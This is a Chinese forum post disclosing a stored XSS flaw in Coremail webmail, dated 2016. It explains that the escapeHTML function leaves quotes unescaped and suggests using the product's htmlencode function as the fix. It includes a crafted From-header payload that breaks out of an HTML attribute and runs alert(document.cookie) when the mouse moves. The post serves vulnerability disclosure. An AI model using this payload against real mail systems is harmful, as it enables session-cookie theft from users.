HanDs
管理员

[7月漏洞公开] 一个Coremail的存储型XSS 





学习中请遵循国家相关法律法规,黑客不作恶。没有网络安全就没有国家安全

本站需要登陆后才能查看

某处 escape 姿势不对

详细说明:

目前的代码,在构造发件人时,代码如下:

code 区域
function getEmailDiv(emailAddress) {
return '<div class="emailAddress" value="'+emailAddress.escapeHTML()+'" style="display:none"></div>'
}



那么 escapeHTML 是什么呢?

code 区域
function (){
var div=document.createElement("div");
var _15=document.createTextNode(this);
div.appendChild(_15);
return div.innerHTML;
}



这种过滤并不会过滤单引号和双引号,所以可以构造特别的字符串逃逸到双引号以外

漏洞证明:

最简单触发方式是利用 onmousexxx 系列属性。由于原始的 div 还有个 display:none,是无法直接触发鼠标事件的,所以可以自己提前把 style 属性覆盖掉,顺便样式改成覆盖全屏幕这样一动鼠标就触发了。

比如 From 字段如下:

code 区域
From: test<12 " style="display:block;position:fixed;left:0;top:0;width:100%;height:100%;" onmousemove="alert(document.cookie)" a="@**.**.**.**>



最后 JavaScript 构造出的 HTML 如下:

code 区域
<div class="emailAddress" value="12 " style="display:block;position:fixed;left:0;top:0;width:100%;height:100%;" onmousemove="alert(document.cookie)" a="@**.**.**.**"></div>



exp.jpg

修复方案:

你们代码里还给 String.prototype 增加了一个 htmlencode 函数,实现是

code 区域
function (){
var _4=this;
_4=_4.replace(/&/gi,"&amp;");
_4=_4.replace(/</gi,"&lt;");
_4=_4.replace(/>/gi,"&gt;");
_4=_4.replace(/\"/gi,"&quot;");
_4=_4.replace(/'/gi,"&#039;");
return _4;
}



用这个来 escape 就挺好的不会有什么问题,不知道你们为什么代码里有两套 escape 方案 :-)


学习中请遵守法律法规,本网站内容均来自于互联网,本网站不负担法律责任
一个 C or em ai l 存储 X SS
#1楼
发帖时间:2016-7-14   |   查看数:0   |   回复数:0
游客组
快速回复